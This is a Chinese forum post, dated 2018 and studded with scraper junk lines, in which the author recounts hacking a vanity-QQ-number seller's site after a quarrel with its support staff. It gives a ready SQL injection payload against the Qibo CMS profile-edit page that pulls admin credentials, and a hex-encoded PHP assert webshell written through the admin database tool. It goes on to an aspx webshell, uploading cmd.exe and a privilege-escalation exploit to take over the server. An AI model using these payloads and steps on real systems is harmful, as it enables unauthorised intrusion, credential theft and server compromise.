|
1 i6 B$ Y: c+ V7 I% c- D
2 {* s6 L& l9 ?+ L* ` # k, j) |! r8 v: G- j, L- H9 ~
( Q6 ] v* F5 z$ i# ] z: W
一、踩点寻找漏洞
; V" b: }- F0 n* [1 b
闲来无事，在各个QQ靓号群求买5位QQ，寻问半天无果就在百度搜索5位QQ扫号找到“目标”www.qq.com，打开一看就一静态页面，哇好多靓号啊，90000000,300000,98888888，199999999，哇这么多靓号，然后我去联系客服，要求客服登录账户看看，此处略去100字，然后开始撕逼，然后就有了下文。。。。
' p4 Q% p) _+ u) F+ ^
随手拿御剑扫了一下好多php页面，随手加一个member发现是齐博1.0的内容管理系统，然后就去百度找漏洞，什么后门漏洞一一做测试都无果，找来找去找到一个全版本的注入漏洞，详细利用方法如下：
' E/ c1 J y8 P+ h" R) Z5 k
先注册一个用户，记住注册时候的邮箱以uid号，
( O+ w9 Y7 G/ p; ^2 l( X. h" O& N
, r' [! B% a* E" G
. Q& J3 u3 H3 u0 y7 h* \然后我们打开火狐浏览器简单构造一下，http://www.qq.com/member/userinfo.php?job=edit&step=2，发送数据包如下：
9 v+ E$ P4 f" L" i) y
" v# D( u8 J7 f7 k& D$ w
truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select user()) where uid=3%23
: Y* s0 X2 M/ I0 [8 K
这里的email和uid一定要和注册的账号所吻合，然后访问，提示成功以后查看用户资料如图：
0 F5 n% T$ `2 ^
0 l1 M- n$ W3 v3 X/ n+ c确实存在注入漏洞，那么我们来注入一下管理账号密码，修改数据包如：truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select concat(username,0x2e,password) from qb_members limit 1) where uid=3%23
. v4 m$ x2 n+ e% Z3 W) W
: W# u0 s' o3 x4 A+ V6 R
0 J7 u0 I* v. o" E解密进后台如图：
+ X. ~6 G) M1 i; p
4 A" ]+ ^$ a f9 w; \7 W4 Q9 K
% N5 l6 \/ |: t: Z, b; S
6 ?! |8 }, F# G, w: |6 X& F. ]二、后台getwebshell
; `1 e* A- `# v ]- C. i! n/ Q$ K6 q
进了后台，以前齐博有个后台getwebshell漏洞，在系统功能- 单篇文章独立页面管理-增加页面添加个webshell，如图：
* R. a# M* l; v7 q1 b
* @: }; G6 ~: p5 i* e- m
1 I4 ] v; f/ ^1 v
6 c8 q; n" D; H0 O9 D3 g1 a
然后点确定，添加提示
" @' Z& P: S+ X3 n6 V% t9 q* D. ~
3 N' b' }; i! P" ^7 o) Z
" _% c0 p; f# k5 T# {, Q2 Z
$ ` t% T9 g9 W. O8 ~- z( E由于是ii6.0的所以我们可以考虑一下解析漏洞，我们再来如图：
& c9 p: I8 }/ R4 l |/ u' d# ?9 B
" N- _: G3 R$ `" [5 ]3 U
; r8 P" X# m- H( ^+ M$ h改静态页面为help.php;.htm，然后我们发现访问help.php;.htm是404（写文章之前测试是可以成功写入的），欧巴，他么的我们再想想别的办法，抽了一支烟，我们继续，他这里不是有个服务器信息、数据库工具吗，之前我们测试当前用户名是root，那么我们完全可以考虑利用服务器信息、数据库工具来导入一句话，屌屌的妈妈的，我们来演示一下，先把一句话hex编码一下，<?php assert($_POST[sb]);?>编码以后是：0x3C3F7068702061737365727428245F504F53545B73625D293B3F3EDA网站目录是D:\wwwroot\qq.com\admin\，注意我们要把\改成/,否则不成功D:/wwwroot/qq.com/admin/,下面我们来导一下
) y/ B, N; C9 B7 U$ m' w
如图：
" c: a8 \' Z1 p$ e' E. h/ h) j8 x
, G( g# Q' P& r" w! I( q
0 g6 z1 d$ Z z4 a
( z7 T) o- S1 Y! h8 S( X. D: |之前已经测试过了用普通菜刀无法连接，测试用过狗菜刀也无法连接，用xiese打开
0 B! J r8 l" Q/ z
$ p" Q- w* h% [! X8 @# X, y, d
5 I; t1 T, ~, v1 Y7 F7 v# T0 h
9 X% I& \' ?: T1 d0 y" r
三、提权进服务器
/ z3 n' D4 c5 s3 W- Q# f
经测试xise下一句话只有在admin目录下有权限浏览，且不能执行命令，庆幸的是支持aspx，那么我们就上一个aspx大马，然后执行命令提示拒绝访问，哈哈在c:\windows\temp下上传cmd.exe然后执行systeminfo，发现打了400多补丁，如图：
2 Z! B( ~1 x; b& r
- D- A# { G- i9 z5 O
, m2 X; j/ g" H' x4 X啧啧啧，这么多补丁，我都没去试试今年和2014年放出来的exp，而且是在咱们大00下载了一个变异pr，然后上传提权如图：
' _9 ]* }' P0 T, u% w1 F
3 a' D! A7 U2 `. i( Q4 x5 n
/ u6 P. }/ t1 M! S% Z8 j, q然后登陆服务器如图：
9 }4 I8 ?3 b! o/ K- b, X
3 L- ~- j4 @" S0 n6 m- }# v6 v+ f
% h) y. ]- w" x2 ~ y# ^) x $ Q. ?3 C" O& ?( y/ y3 i& W
5 k! N- Q4 @9 S; B3 Q
0 v$ v- d2 T& W难怪普通刀连接不上，原来是有狗。
5 y8 R, w' p4 b1 i
7 o3 @" {$ [ }0 M: j
# [& q2 {6 x" o& b9 Y
. u$ L( F9 w1 A- c7 I j0 Z4 g$ U& A# F. M/ M( s- U d
; f8 _- L6 e. m
5 I6 }1 {1 a( e- v1 `. ^ | 
发表于 2018-10-20 20:08:47
收藏
支持
反对